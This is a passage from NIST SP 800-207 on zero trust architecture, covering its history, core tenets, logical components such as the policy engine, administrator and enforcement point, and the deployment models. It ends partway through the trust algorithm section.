Gaps .................................................... 46 NIST SP 800-207 ZERO TRUST ARCHITECTURE 1 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 1 Introduction A typical enterprise’s infrastructure has grown increasingly complex. A single enterprise may operate several internal networks, remote offices with their own local infrastructure, remote and/or mobile individuals, and cloud services. This complexity has outstripped legacy methods of perimeter-based network security as there is no single, easily identified perimeter for the enterprise. Perimeter-based network security has also been shown to be insufficient since once attackers breach the perimeter, further lateral movement is unhindered. This complex enterprise has led to the development of a new model for cybersecurity known as “zero trust” (ZT). A ZT approach is primarily focused on data and service protection but can and should be expanded to include all enterprise assets (devices, infrastructure components, applications, virtual and cloud components) and subjects (end users, applications and other non- human entities that request information from resources). Throughout this document, “subject” will be used unless the section relates directly to a human end user in which “user” will be specifically used instead of the more generic “subject.” Zero trust security models assume that an attacker is present in the environment and that an enterprise-owned environment is no different—or no more trustworthy—than any nonenterprise-owned environment. In this new paradigm, an enterprise must assume no implicit trust and continually analyze and evaluate the risks to its assets and business functions and then enact protections to mitigate these risks. In zero trust, these protections usually involve minimizing access to resources (such as data and compute resources and applications/services) to only those subjects and assets identified as needing access as well as continually authenticating and authorizing the identity and security posture of each access request. A zero trust architecture (ZTA) is an enterprise cybersecurity architecture that is based on zero trust principles and designed to prevent data breaches and limit internal lateral movement. This publication discusses ZTA, its logical components, possible deployment scenarios, and threats. It also presents a general road map for organizations wishing to migrate to a zero trust design approach and discusses relevant federal policies that may impact or influence a zero trust architecture. ZT is not a single architecture but a set of guiding principles for workflow, system design and operations that can be used to improve the security posture of any classification or sensitivity level [FIPS199]. Transitioning to ZTA is a journey concerning how an organization evaluates risk in its mission and cannot simply be accomplished with a wholesale replacement of technology. That said, many organizations already have elements of a ZTA in their enterprise infrastructure today. Organizations should seek to incrementally implement zero trust principles, process changes, and technology solutions that protect their data assets and business functions by use case. Most enterprise infrastructures will operate in a hybrid zero trust/perimeter-based mode while continuing to invest in IT modernization initiatives and improve organization business processes. Organizations need to implement comprehensive information security and resiliency practices for zero trust to be effective. When balanced with existing cybersecurity policies and guidance, identity and access management, continuous monitoring, and best practices, a ZTA can protect NIST SP 800-207 ZERO TRUST ARCHITECTURE 2 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 against common threats and improve an organization’s security posture by using a managed risk approach. 1.1 History of Zero Trust Efforts Related to Federal Agencies The concept of zero trust has been present in cybersecurity since before the term “zero trust” was coined. The Defense Information Systems Agency (DISA) and the Department of Defense published their work on a more secure enterprise strategy dubbed “black core” [BCORE]. Black core involved moving from a perimeter-based security model to one that focused on the security of individual transactions. The work of the Jericho Forum in 2004 publicized the idea of de- perimeterization—limiting implicit trust based on network location and the limitations of relying on single, static defenses over a large network segment [JERICHO]. The concepts of de- perimeterization evolved and improved into the larger concept of zero trust, which was later coined by John Kindervag1 while at Forrester.2 Zero trust then became the term used to describe various cybersecurity solutions that moved security away from implied trust based on network location and instead focused on evaluating trust on a per-transaction basis. Both private industry and higher education have also undergone this evolution from perimeter-based security to a security strategy based on zero trust principles. Federal agencies have been urged to move to security based on zero trust principles for more than a decade, building capabilities and policies such as the Federal Information Security Modernization Act (FISMA) followed by the Risk Management Framework (RMF); Federal Identity, Credential, and Access Management (FICAM); Trusted Internet Connections (TIC); and Continuous Diagnostics and Mitigation (CDM) programs. All of these programs aim to restrict data and resource access to authorized parties. When these programs were started, they were limited by the technical capabilities of information systems. Security policies were largely static and were enforced at large “choke points” that an enterprise could control to get the largest effect for the effort. As technology matures, it is becoming possible to continually analyze and evaluate access requests in a dynamic and granular fashion to a “need to access” basis to mitigate data exposure due to compromised accounts, attackers monitoring a network, and other threats. 1.2 Structure of This Document The rest of the document is organized as follows: • Section 2 defines ZT and ZTA and lists some assumptions when designing a ZTA for an enterprise. This section also includes a list of the tenets of ZT design. • Section 3 documents the logical components, or building blocks, of ZT. It is possible that unique implementations compose ZTA components differently yet serve the same logical functionality. 1 https://go.forrester.com/blogs/next-generation-access-and-zero-trust/ 2 Any mention of commercial products or services within NIST documents is for information only; it does not imply a recommendation or endorsement by NIST. NIST SP 800-207 ZERO TRUST ARCHITECTURE 3 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 • Section 4 lists some possible use cases where a ZTA may make enterprise environments more secure and less prone to successful exploitation. These include enterprises with remote employees, cloud services, and guest networks. • Section 5 discusses threats to an enterprise using a ZTA. Many of these threats are similar to any architected networks but may require different mitigation techniques. • Section 6 discusses how ZTA tenets fit into and/or complement existing guidance for federal agencies. • Section 7 presents the starting point for transitioning an enterprise (such as a federal agency) to a ZTA. This includes a description of the general steps needed to plan and deploy applications and enterprise infrastructure that are guided by ZT tenets. NIST SP 800-207 ZERO TRUST ARCHITECTURE 4 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 2 Zero Trust Basics Zero trust is a cybersecurity paradigm focused on resource protection and the premise that trust is never granted implicitly but must be continually evaluated. Zero trust architecture is an end-to- end approach to enterprise resource and data security that encompasses identity (person and non- person entities), credentials, access management, operations, endpoints, hosting environments, and the interconnecting infrastructure. The initial focus should be on restricting resources to those with a need to access and grant only the minimum privileges (e.g., read, write, delete) needed to perform the mission. Traditionally, agencies (and enterprise networks in general) have focused on perimeter defense and authenticated subjects are given authorized access to a broad collection of resources once on the internal network. As a result, unauthorized lateral movement within the environment has been one of the biggest challenges for federal agencies. The Trusted Internet Connections (TIC) and agency perimeter firewalls provide strong internet gateways. This helps block attackers from the internet, but the TICs and perimeter firewalls are less useful for detecting and blocking attacks from inside the network and cannot protect subjects outside of the enterprise perimeter (e.g., remote workers, cloud-based services, edge devices, etc.). An operative definition of zero trust and zero trust architecture is as follows: Zero trust (ZT) provides a collection of concepts and ideas designed to minimize uncertainty in enforcing accurate, least privilege per-request access decisions in information systems and services in the face of a network viewed as compromised. Zero trust architecture (ZTA) is an enterprise’s cybersecurity plan that utilizes zero trust concepts and encompasses component relationships, workflow planning, and access policies. Therefore, a zero trust enterprise is the network infrastructure (physical and virtual) and operational policies that are in place for an enterprise as a product of a zero trust architecture plan. An enterprise decides to adopt zero trust as its core strategy and generate a zero trust architecture as a plan developed with zero trust principles (see Section 2.1 below) in mind. This plan is then deployed to produce a zero trust environment for use in the enterprise. This definition focuses on the crux of the issue, which is the goal to prevent unauthorized access to data and services coupled with making the access control enforcement as granular as possible. That is, authorized and approved subjects (combination of user, application (or service), and device) can access the data to the exclusion of all other subjects (i.e., attackers). To take this one step further, the word “resource” can be substituted for “data” so that ZT and ZTA are about resource access (e.g., printers, compute resources, Internet of Things [IoT] actuators) and not just data access. To lessen uncertainties (as they cannot be eliminated), the focus is on authentication, authorization, and shrinking implicit trust zones while maintaining availability and minimizing temporal delays in authentication mechanisms. Access rules are made as granular as possible to enforce least privileges needed to perform the action in the request. NIST SP 800-207 ZERO TRUST ARCHITECTURE 5 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 In the abstract model of access shown in Figure 1, a subject needs access to an enterprise resource. Access is granted through a policy decision point (PDP) and corresponding policy enforcement point (PEP).3 Figure 1: Zero Trust Access The system must ensure that the subject is authentic and the request is valid. The PDP/PEP passes proper judgment to allow the subject to access the resource. This implies that zero trust applies to two basic areas: authentication and authorization. What is the level of confidence about the subject’s identity for this unique request? Is access to the resource allowable given the level of confidence in the subject’s identity? Does the device used for the request have the proper security posture? Are there other factors that should be considered and that change the confidence level (e.g., time, location of subject, subject’s security posture)? Overall, enterprises need to develop and maintain dynamic risk-based policies for resource access and set up a system to ensure that these policies are enforced correctly and consistently for individual resource access requests. This means that an enterprise should not rely on implied trustworthiness wherein if the subject has met a base authentication level (e.g., logging into an asset), all subsequent resource requests are assumed to be equally valid. The “implicit trust zone” represents an area where all the entities are trusted to at least the level of the last PDP/PEP gateway. For example, consider the passenger screening model in an airport. All passengers pass through the airport security checkpoint (PDP/PEP) to access the boarding gates. The passengers, airport employees, aircraft crew, etc., mill about in the terminal area, and all the individuals are considered trusted. In this model, the implicit trust zone is the boarding area. The PDP/PEP applies a set of controls so that all traffic beyond the PEP has a common level of trust. The PDP/PEP cannot apply additional policies beyond its location in the flow of traffic. To allow the PDP/PEP to be as specific as possible, the implicit trust zone must be as small as possible. Zero trust provides a set of principles and concepts around moving the PDP/PEPs closer to the resource. The idea is to explicitly authenticate and authorize all subjects, assets and workflows that make up the enterprise. 3 Part of the concepts defined in OASIS XACML 2.0 https://docs.oasis-open.org/xacml/2.0/access_control-xacml-2.0-core-spec- os.pdf NIST SP 800-207 ZERO TRUST ARCHITECTURE 6 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 2.1 Tenets of Zero Trust Many definitions and discussions of ZT stress the concept of removing wide-area perimeter defenses (e.g., enterprise firewalls) as a factor. However, most of these definitions continue to define themselves in relation to perimeters in some way (such as micro-segmentation or micro- perimeters; see Section 3.1) as part of the functional capabilities of a ZTA. The following is an attempt to define ZT and ZTA in terms of basic tenets that should be involved rather than what is excluded. These tenets are the ideal goal, though it must be acknowledged that not all tenets may be fully implemented in their purest form for a given strategy. A zero trust architecture is designed and deployed with adherence to the following zero trust basic tenets: 1. All data sources and computing services are considered resources. A network may be composed of multiple classes of devices. A network may also have small footprint devices that send data to aggregators/storage, software as a service (SaaS), systems sending instructions to actuators, and other functions. Also, an enterprise may decide to classify personally owned devices as resources if they can access enterprise-owned resources. 2. All communication is secured regardless of network location. Network location alone does not imply trust. Access requests from assets located on enterprise-owned network infrastructure (e.g., inside a legacy network perimeter) must meet the same security requirements as access requests and communication from any other nonenterprise-owned network. In other words, trust should not be automatically granted based on the device being on enterprise network infrastructure. All communication should be done in the most secure manner available, protect confidentiality and integrity, and provide source authentication. 3. Access to individual enterprise resources is granted on a per-session basis. Trust in the requester is evaluated before the access is granted. Access should also be granted with the least privileges needed to complete the task. This could mean only “sometime recently” for this particular transaction and may not occur directly before initiating a session or performing a transaction with a resource. However, authentication and authorization to one resource will not automatically grant access to a different resource. 4. Access to resources is determined by dynamic policy—including the observable state of client identity, application/service, and the requesting asset—and may include other behavioral and environmental attributes. An organization protects resources by defining what resources it has, who its members are (or ability to authenticate users from a federated community), and what access to resources those members need. For zero trust, client identity can include the user account (or service identity) and any associated attributes assigned by the enterprise to that account or artifacts to authenticate automated tasks. Requesting asset state can include device characteristics such as software versions installed, network location, time/date of request, previously observed behavior, and installed credentials. Behavioral attributes include, but not limited to, automated subject analytics, device analytics, and measured deviations from observed usage patterns. Policy is the set of access rules based on attributes that an organization assigns to a subject, data asset, or application. Environmental attributes may include such factors as requestor NIST SP 800-207 ZERO TRUST ARCHITECTURE 7 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 network location, time, reported active attacks, etc. These rules and attributes are based on the needs of the business process and acceptable level of risk. Resource access and action permission policies can vary based on the sensitivity of the resource/data. Least privilege principles are applied to restrict both visibility and accessibility. 5. The enterprise monitors and measures the integrity and security posture of all owned and associated assets. No asset is inherently trusted. The enterprise evaluates the security posture of the asset when evaluating a resource request. An enterprise implementing a ZTA should establish a continuous diagnostics and mitigation (CDM) or similar system to monitor the state of devices and applications and should apply patches/fixes as needed. Assets that are discovered to be subverted, have known vulnerabilities, and/or are not managed by the enterprise may be treated differently (including denial of all connections to enterprise resources) than devices owned by or associated with the enterprise that are deemed to be in their most secure state. This may also apply to associated devices (e.g., personally owned devices) that may be allowed to access some resources but not others. This, too, requires a robust monitoring and reporting system in place to provide actionable data about the current state of enterprise resources. 6. All resource authentication and authorization are dynamic and strictly enforced before access is allowed. This is a constant cycle of obtaining access, scanning and assessing threats, adapting, and continually reevaluating trust in ongoing communication. An enterprise implementing a ZTA would be expected to have Identity, Credential, and Access Management (ICAM) and asset management systems in place. This includes the use of multifactor authentication (MFA) for access to some or all enterprise resources. Continual monitoring with possible reauthentication and reauthorization occurs throughout user transactions, as defined and enforced by policy (e.g., time-based, new resource requested, resource modification, anomalous subject activity detected) that strives to achieve a balance of security, availability, usability, and cost-efficiency. 7. The enterprise collects as much information as possible about the current state of assets, network infrastructure and communications and uses it to improve its security posture. An enterprise should collect data about asset security posture, network traffic and access requests, process that data, and use any insight gained to improve policy creation and enforcement. This data can also be used to provide context for access requests from subjects (see Section 3.3.1). The above tenets attempt to be technology agnostic. For example, “user identification (ID)” could include several factors such as username/password, certificates, and onetime password. These tenets apply to work done within an organization or in collaboration with one or more partner organizations and not to anonymous public or consumer-facing business processes. An organization cannot impose internal policies on external actors (e.g., customers or general internet users) but may be able to implement some ZT-based policies on nonenterprise users who have a special relationship with the organization (e.g. registered customers, employee dependents, etc.). NIST SP 800-207 ZERO TRUST ARCHITECTURE 8 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 2.2 A Zero Trust View of a Network There are some basic assumptions for network connectivity for any organization that utilizes ZTA in network planning and deployment. Some of these assumptions apply to enterprise-owned network infrastructure, and some apply to enterprise-owned resources operating on nonenterprise-owned network infrastructure (e.g., public Wi-Fi or public cloud providers). These assumptions are used to direct the formation of a ZTA. The network in an enterprise implementing a ZTA should be developed with the ZTA tenets outlined above and with the following assumptions. 1. The entire enterprise private network is not considered an implicit trust zone. Assets should always act as if an attacker is present on the enterprise network, and communication should be done in the most secure manner available (see tenet 2 above). This entails actions such as authenticating all connections and encrypting all traffic. 2. Devices on the network may not be owned or configurable by the enterprise. Visitors and/or contracted services may include nonenterprise-owned assets that need network access to perform their role. This includes bring-your-own-device (BYOD) policies that allow enterprise subjects to use nonenterprise-owned devices to access enterprise resources. 3. No resource is inherently trusted. Every asset must have its security posture evaluated via a PEP before a request is granted to an enterprise-owned resource (similar to tenet 6 above for assets as well as subjects). This evaluation should be continual for as long as the session lasts. Enterprise-owned devices may have artifacts that enable authentication and provide a confidence level higher than the same request coming from nonenterprise- owned devices. Subject credentials alone are insufficient for device authentication to an enterprise resource. 4. Not all enterprise resources are on enterprise-owned infrastructure. Resources include remote enterprise subjects as well as cloud services. Enterprise-owned or - managed assets may need to utilize the local (i.e., nonenterprise) network for basic connectivity and network services (e.g., DNS resolution). 5. Remote enterprise subjects and assets cannot fully trust their local network connection. Remote subjects should assume that the local (i.e., nonenterprise-owned) network is hostile. Assets should assume that all traffic is being monitored and potentially modified. All connection requests should be authenticated and authorized, and all communications should be done in the most secure manner possible (i.e., provide confidentiality, integrity protection, and source authentication). See the tenets of ZTA above. 6. Assets and workflows moving between enterprise and nonenterprise infrastructure should have a consistent security policy and posture. Assets and workloads should retain their security posture when moving to or from enterprise-owned infrastructure. This includes devices that move from enterprise networks to nonenterprise networks (i.e. remote users). This also includes workloads migrating from on-premises data centers to nonenterprise cloud instances. NIST SP 800-207 ZERO TRUST ARCHITECTURE 9 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 3 Logical Components of Zero Trust Architecture There are numerous logical components that make up a ZTA deployment in an enterprise. These components may be operated as an on-premises service or through a cloud-based service. The conceptual framework model in Figure 2 shows the basic relationship between the components and their interactions. Note that this is an ideal model showing logical components and their interactions. From Figure 1, the policy decision point (PDP) is broken down into two logical components: the policy engine and policy administrator (defined below). The ZTA logical components use a separate control plane to communicate, while application data is communicated on a data plane (see Section 3.4). Figure 2: Core Zero Trust Logical Components The component descriptions: • Policy engine (PE): This component is responsible for the ultimate decision to grant access to a resource for a given subject. The PE uses enterprise policy as well as input from external sources (e.g., CDM systems, threat intelligence services described below) as input to a trust algorithm (see Section 3.3 for more details) to grant, deny, or revoke access to the resource. The PE is paired with the policy administrator component. The policy engine makes and logs the decision (as approved, or denied), and the policy administrator executes the decision. • Policy administrator (PA): This component is responsible for establishing and/or shutting down the communication path between a subject and a resource (via commands to relevant PEPs). It would generate any session-specific authentication and authentication token or credential used by a client to access an enterprise resource. It is closely tied to the PE and relies on its decision to ultimately allow or deny a session. If the session is authorized and the request authenticated, the PA configures the PEP to allow the session to start. If the session is denied (or a previous approval is countermanded), the PA signals to the PEP to shut down the connection. Some implementations may treat the PE and PA as a single service; here, it is divided into its NIST SP 800-207 ZERO TRUST ARCHITECTURE 10 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 two logical components. The PA communicates with the PEP when creating the communication path. This communication is done via the control plane. • Policy enforcement point (PEP): This system is responsible for enabling, monitoring, and eventually terminating connections between a subject and an enterprise resource. The PEP communicates with the PA to forward requests and/or receive policy updates from the PA. This is a single logical component in ZTA but may be broken into two different components: the client (e.g., agent on a laptop) and resource side (e.g., gateway component in front of resource that controls access) or a single portal component that acts as a gatekeeper for communication paths. Beyond the PEP is the trust zone (see Section 2) hosting the enterprise resource. In addition to the core components in an enterprise implementing a ZTA, several data sources provide input and policy rules used by the policy engine when making access decisions. These include local data sources as well as external (i.e., nonenterprise-controlled or -created) data sources. These can include: • Continuous diagnostics and mitigation (CDM) system: This gathers information about the enterprise asset’s current state and applies updates to configuration and software components. An enterprise CDM system provides the policy engine with the information about the asset making an access request, such as whether it is running the appropriate patched operating system (OS), the integrity of enterprise-approved software components or presence of non-approved components and whether the asset has any known vulnerabilities. CDM systems are also responsible for identifying and potentially enforcing a subset of polices on nonenterprise devices active on enterprise infrastructure. • Industry compliance system: This ensures that the enterprise remains compliant with any regulatory regime that it may fall under (e.g., FISMA, healthcare or financial industry information security requirements). This includes all the policy rules that an enterprise develops to ensure compliance. • Threat intelligence feed(s): This provides information from internal or external sources that help the policy engine make access decisions. These could be multiple services that take data from internal and/or multiple external sources and provide information about newly discovered attacks or vulnerabilities. This also includes newly discovered flaws in software, newly identified malware, and reported attacks to other assets that the policy engine will want to deny access to from enterprise assets. • Network and system activity logs: This enterprise system aggregates asset logs, network traffic, resource access actions, and other events that provide real-time (or near- real-time) feedback on the security posture of enterprise information systems. • Data access policies: These are the attributes, rules, and policies about access to enterprise resources. This set of rules could be encoded in (via management interface) or dynamically generated by the policy engine. These policies are the starting point for authorizing access to a resource as they provide the basic access privileges for accounts and applications/services in the enterprise. These policies should be based on the defined mission roles and needs of the organization. NIST SP 800-207 ZERO TRUST ARCHITECTURE 11 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 • Enterprise public key infrastructure (PKI): This system is responsible for generating and logging certificates issued by the enterprise to resources, subjects, services and applications. This also includes the global certificate authority ecosystem and the Federal PKI,4 which may or may not be integrated with the enterprise PKI. This could also be a PKI that is not built upon X.509 certificates. • ID management system: This is responsible for creating, storing, and managing enterprise user accounts and identity records (e.g., lightweight directory access protocol (LDAP) server). This system contains the necessary subject information (e.g., name, email address, certificates) and other enterprise characteristics such as role, access attributes, and assigned assets. This system often utilizes other systems (such as a PKI) for artifacts associated with user accounts. This system may be part of a larger federated community and may include nonenterprise employees or links to nonenterprise assets for collaboration. • Security information and event management (SIEM) system: This collects security- centric information for later analysis. This data is then used to refine policies and warn of possible attacks against enterprise assets. 3.1 Variations of Zero Trust Architecture Approaches There are several ways that an enterprise can enact a ZTA for workflows. These approaches vary in the components used and in the main source of policy rules for an organization. Each approach implements all the tenets of ZT (see Section 2.1) but may use one or two (or one component) as the main driver of policies. A full ZT solution will include elements of all three approaches. The approaches include enhanced identity governance–driven, logical micro- segmentation, and network-based segmentation. Certain approaches lend themselves to some use cases more than others. An organization looking to develop a ZTA for its enterprise may find that its chosen use case and existing policies point to one approach over others. That does not mean the other approaches would not work but rather that other approaches may be more difficult to implement and may require more fundamental changes to how the enterprise currently conducts business flows. 3.1.1 ZTA Using Enhanced Identity Governance The enhanced identity governance approach to developing a ZTA uses the identity of actors as the key component of policy creation. If it were not for subjects requesting access to enterprise resources, there would be no need to create access polices. For this approach, enterprise resource access policies are based on identity and assigned attributes. The primary requirement for resource access is based on the access privileges granted to the given subject. Other factors such as device used, asset status, and environmental factors may alter the final confidence level calculation (and ultimate access authorization) or tailor the result in some way, such as granting only partial access to a given data source based on network location. Individual resources or PEP 4 https://www.idmanagement.gov/topics/fpki/ NIST SP 800-207 ZERO TRUST ARCHITECTURE 12 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 components protecting the resource must have a way to forward requests to a policy engine service or authenticate the subject and approve the request before granting access. Enhanced identity governance-based approaches for enterprises are often employed using an open network model or an enterprise network with visitor access or frequent nonenterprise devices on the network (such as with the use case in Section 4.3 below). Network access is initially granted to all assets but access to enterprise resources are restricted to identities with the appropriate access privileges. There is a downside in granting basic network connectivity as malicious actors could still attempt network reconnaissance and/or use the network to launch denial of service attacks either internally or against a third party. Enterprises still need to monitor and respond to such behavior before it impacts workflows. The identity-driven approach works well with the resource portal model (see Section 3.2.3) since device identity and status provide secondary support data to access decisions. Other models work as well, depending on policies in place. Identity-driven approaches also work well for enterprises that use cloud-based applications/services that may not allow for enterprise-owned or -operated ZT security components to be used (such as many SaaS offerings). The enterprise can use the identity of requestors to form and enforce policy on these platforms. 3.1.2 ZTA Using Micro-Segmentation An enterprise may choose to implement a ZTA based on placing individual or groups of resources on a unique network segment protected by a gateway security component. In this approach, the enterprise places infrastructure devices such as intelligent switches (or routers) or next generation firewalls (NGFWs) or special purpose gateway devices to act as PEPs protecting each resource or small group of related resources. Alternatively (or additionally), the enterprise may choose to implement host-based micro-segmentation using software agents (see Section 3.2.1) or firewalls on the endpoint asset(s), These gateway devices dynamically grant access to individual requests from a client, asset or service. Depending on the model, the gateway may be the sole PEP component or part of a multipart PEP consisting of the gateway and client-side agent (see Section 3.2.1). This approach applies to a variety of use cases and deployment models as the protecting device acts as the PEP, with management of said devices acting as the PE/PA component. This approach requires an identity governance program (IGP) to fully function but relies on the gateway components to act as the PEP that shields resources from unauthorized access and/or discovery. The key necessity to this approach is that the PEP components are managed and should be able to react and reconfigure as needed to respond to threats or change in the workflow. It is possible to implement some features of a micro-segmented enterprise by using less advanced gateway devices and even stateless firewalls, but the administration cost and difficulty to quickly adapt to changes make this a very poor choice. 3.1.3 ZTA Using Network Infrastructure and Software Defined Perimeters The last approach uses the network infrastructure to implement a ZTA. The ZTA implementation could be achieved by using an overlay network (i.e., layer 7 but also could be set up lower of the NIST SP 800-207 ZERO TRUST ARCHITECTURE 13 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 OSI network stack). These approaches are sometimes referred to as software defined perimeter (SDP) approaches and frequently include concepts from Software Defined Networks (SDN) [SDNBOOK] and intent-based networking (IBN) [IBNVN]. In this approach, the PA acts as the network controller that sets up and reconfigures the network based on the decisions made by the PE. The clients continue to request access via PEPs, which are managed by the PA component. When the approach is implemented at the application network layer (i.e., layer 7), the most common deployment model is the agent/gateway (see Section 3.2.1). In this implementation, the agent and resource gateway (acting as the single PEP and configured by the PA) establish a secure channel used for communication between the client and resource. There may be other variations of this model, as well for cloud virtual networks, non-IP based networks, etc. 3.2 Deployed Variations of the Abstract Architecture All of the above components are logical components. They do not necessarily need to be unique systems. A single asset may perform the duties of multiple logical components, and likewise, a logical component may consist of multiple hardware or software elements to perform the tasks. For example, an enterprise-managed PKI may consist of one component responsible for issuing certificates for devices and another used for issuing certificates to end users, but both use intermediate certificates issued from the same enterprise root certificate authority. In some ZT product offerings currently available on the market, the PE and PA components are combined in a single service. There are several variations on deployment of selected components of the architecture that are outlined in the sections below. Depending on how an enterprise network is set up, multiple ZTA deployment models may be in use for different business processes in one enterprise. 3.2.1 Device Agent/Gateway-Based Deployment In this deployment model, the PEP is divided into two components that reside on the resource or as a component directly in front of a resource. For example, each enterprise-issued asset has an installed device agent that coordinates connections, and each resource has a component (i.e., gateway) that is placed directly in front so that the resource communicates only with the gateway, essentially serving as a proxy for the resource. The agent is a software component that directs some (or all) traffic to the appropriate PEP in order for requests to be evaluated. The gateway is responsible for communicating with the policy administrator and allowing only approved communication paths configured by the policy administrator (see Figure 3). NIST SP 800-207 ZERO TRUST ARCHITECTURE 14 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Figure 3: Device Agent/Gateway Model In a typical scenario, a subject with an enterprise-issued laptop wishes to connect to an enterprise resource (e.g., human resources application/database). The access request is taken by the local agent, and the request is forwarded to the policy administrator. The policy administrator and policy engine could be an enterprise local asset or a cloud-hosted service. The policy administrator forwards the request to the policy engine for evaluation. If the request is authorized, the policy administrator configures a communication channel between the device agent and the relevant resource gateway via the control plane. This may include information such as an internet protocol (IP) address, port information, session key, or similar security artifacts. The device agent and gateway then connect, and encrypted application/service data flows begin. The connection between the device agent and resource gateway is terminated when the workflow is completed or when triggered by the policy administrator due to a security event (e.g., session time-out, failure to reauthenticate). This model is best utilized for enterprises that have a robust device management program in place as well as discrete resources that can communicate with the gateway. For enterprises that heavily utilize cloud services, this is a client-server implementation of the Cloud Security Alliance (CSA) Software Defined Perimeter (SDP) [CSA-SDP]. This model is also appropriate for enterprises that do not want a BYOD policy in place. Access is possible only via the device agent, which can be placed on enterprise-owned assets. 3.2.2 Enclave-Based Deployment This deployment model is a variation of the device agent/gateway model above. In this model, the gateway components may not reside on assets or in front of individual resources but instead reside at the boundary of a resource enclave (e.g., on-location data center) as shown in Figure 4. Usually, these resources serve a single business function or may not be able to communicate directly to a gateway (e.g., legacy database system that does not have an application programming interface [API] that can be used to communicate with a gateway). This deployment model may also be useful for enterprises that use cloud-based micro-services for a single business processes (e.g., user notification, database lookup, salary disbursement). In this model, the entire private cloud is located behind a gateway. NIST SP 800-207 ZERO TRUST ARCHITECTURE 15 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Figure 4: Enclave Gateway Model It is possible for this model to be a hybrid with the device agent/gateway model. In this model, enterprise assets have a device agent that is used to connect to enclave gateways, but these connections are created using the same process as the basic device agent/gateway model. This model is useful for enterprises that have legacy applications or on-premises data centers that cannot have individual gateways in place. The enterprise needs a robust asset and configuration management program in place to install/configure the device agents. The downside is that the gateway protects a collection of resources and may not be able to protect each resource individually. This may also allow for subjects to see resources which they do not have privileges to access. 3.2.3 Resource Portal-Based Deployment In this deployment model, the PEP is a single component that acts as a gateway for subject requests. The gateway portal can be for an individual resource or a secure enclave for a collection of resources used for a single business function. One example would be a gateway portal into a private cloud or data center containing legacy applications as shown in Figure 5. NIST SP 800-207 ZERO TRUST ARCHITECTURE 16 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Figure 5: Resource Portal Model The primary benefit of this model over the others is that a software component does not need to be installed on all client devices. This model is also more flexible for BYOD policies and inter- organizational collaboration projects. Enterprise administrators do not need to ensure that each device has the appropriate device agent before use. However, limited information can be inferred from devices requesting access. This model can only scan and analyze assets and devices once they connect to the PEP portal and may not be able to continuously monitor them for malware, unpatched vulnerabilities, and appropriate configuration. The main difference with this model is there is no local agent that handles requests, and so the enterprise may not have full visibility or arbitrary control over assets as it can only see/scan them when they connect to a portal. The enterprise may be able to employ measures such as browser isolation to mitigate or compensate. These assets may be invisible to the enterprise between these sessions. This model also allows attackers to discover and attempt to access the portal or attempt a denial-of-service (DoS) attack against the portal. The portal systems should be well- provisioned to provide availability against a DoS attack or network disruption. 3.2.4 Device Application Sandboxing Another variation of the agent/gateway deployment model is having vetted applications or processes run compartmentalized on assets. These compartments could be virtual machines, containers, or some other implementation, but the goal is the same: to protect the application or instances of applications from a possibly compromised host or other applications running on the asset. NIST SP 800-207 ZERO TRUST ARCHITECTURE 17 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Figure 6: Application Sandboxes In Figure 6, the subject device runs approved, vetted applications in a sandbox. The applications can communicate with the PEP to request access to resources, but the PEP will refuse requests from other applications on the asset. The PEP could be an enterprise local service or a cloud service in this model. The main advantage of this model variant is that individual applications are segmented from the rest of the asset. If the asset cannot be scanned for vulnerabilities, these individual, sandboxed applications may be protected from a potential malware infection on the host asset. One of the disadvantages of this model is that enterprises must maintain these sandboxed applications for all assets and may not have full visibility into client assets. The enterprise also needs to make sure each sandboxed application is secure, which may require more effort than simply monitoring devices. 3.3 Trust Algorithm For an enterprise with a ZTA deployment, the policy engine can be thought of as the brain and the PE’s trust algorithm as its primary thought process. The trust algorithm (TA) is the process used by the policy engine to ultimately grant or deny access to a resource. The policy engine takes input from multiple sources (see Section 3): the policy database with observable information about subjects, subject attributes and roles, historical subject behavior patterns, threat intelligence sources, and other metadata sources. The process can be grouped into broad categories and visualized in Figure 7. NIST SP 800-207 ZERO TRUST ARCHITECTURE 18 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Figure 7: Trust Algorithm Input In the figure, the inputs can be broken into categories based on what they provide to the trust algorithm. • Access request: This is the actual request from the subject. The resource requested is the primary information used, but information about the requester is also used. This can include OS version, software used (e.g., does the requesting application appear on a list of approved applications?), and patch level. Depending on these factors and the asset security posture, access to assets might be restricted or denied. • Subject database: This is the “who” that is requesting access to a resource [SP800-63]. This is the set of subjects (human and processes) of the enterprise or collaborators and a collection of subject attributes/privileges assigned. These subjects and attributes form the basis of policies for resource access [SP800-162] [NISTIR 7987]. User identities can include a mix of logical identity (e.g., account ID) and results of authentication checks performed by PEPs. Attributes of identity that can be factored into deriving the confidence level include time and geolocation. A collection of privileges given to multiple subjects could be thought of as a role, but privileges should be assigned to a subject on an individual basis and not simply because they may fit into a particular role in the organization. This collection should be encoded and stored in an ID management system and policy database. This may also include data about past observed subject behavior in some (TA) variants (see Section 3.3.1). • Asset database (and observable status): This is the database that contains the known status of each enterprise-owned (and possibly known nonenterprise/BYOD) asset (physical and virtual, to some extent). This is compared to the observable status of the asset making the request and can include OS version, software present, and its integrity, NIST SP 800-207 ZERO TRUST ARCHITECTURE 19 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 location (network location and geolocation), and patch level. Depending on the asset state compared with this database, access to assets might be restricted or denied. • Resource requirements: This set of policies complements the user ID and attributes database [SP800-63] and defines the minimal requirements for access to the resource. Requirements may include authenticator assurance levels, such as MFA network location (e.g., deny access from overseas IP addresses), data sensitivity, and requests for asset configuration. These requirements should be developed by both the data custodian (i.e., those responsible for the data) and those responsible for the business processes that 